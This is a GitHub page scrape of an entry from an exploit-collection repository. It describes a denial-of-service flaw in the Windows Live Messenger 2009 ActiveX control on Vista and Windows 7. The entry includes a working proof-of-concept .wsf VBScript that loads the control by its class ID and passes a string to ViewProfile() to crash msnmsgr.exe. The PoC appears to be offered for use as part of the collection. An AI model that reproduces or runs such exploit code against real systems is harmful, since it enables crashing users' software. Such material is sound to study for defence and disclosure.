forked from 1979139113/0day-today-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path10011.txt
54 lines (34 loc) · 1.29 KB
/
10011.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Windows Live Messenger 2009 ActiveX DoS Vulnerability
=====================================================
Product:
Windows Live Messenger 2009 (Build 14.0.8089.726)
************************************************************************
********
Vulnerability:
ActiveX - Denial of Service
************************************************************************
********
Discussion:
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
*must be signed in Msn Messenger account for triggerin the vulnerability.
************************************************************************
********
Vulnerable:
Windows Live Messenger 2009 on Windows Vista
Windows Live Messenger 2009 on Windows 7
Not Vulnerable:
Windows Live Messenger 2009 on Windows XP
************************************************************************
********
PoC .wsf script:
'works on vista and windows7
<package>
<job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />
<script language='vbscript'>
arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
target.ViewProfile arg1
</script>
</job>
</package>